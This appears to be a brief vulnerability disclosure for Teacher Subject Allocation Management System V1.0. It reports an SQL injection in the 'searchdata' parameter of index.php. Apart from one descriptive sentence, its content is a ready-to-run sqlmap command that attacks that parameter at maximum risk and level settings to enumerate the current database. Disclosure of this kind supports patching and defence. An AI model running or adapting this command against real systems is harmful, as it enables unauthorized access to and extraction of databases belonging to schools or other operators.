-------------------------------------------------------------------------------

# Description:

Teacher Subject Allocation Management System V1.0 is susceptible to a significant security vulnerability that arises from insufficient protection on the 'searchdata' parameter in the index.php file.

sqlmap -u "http://localhost/Tsas" --method POST --data "searchdata=test&search=" -p searchdata --risk 3 --level 3 --dbms mysql --batch --current-db
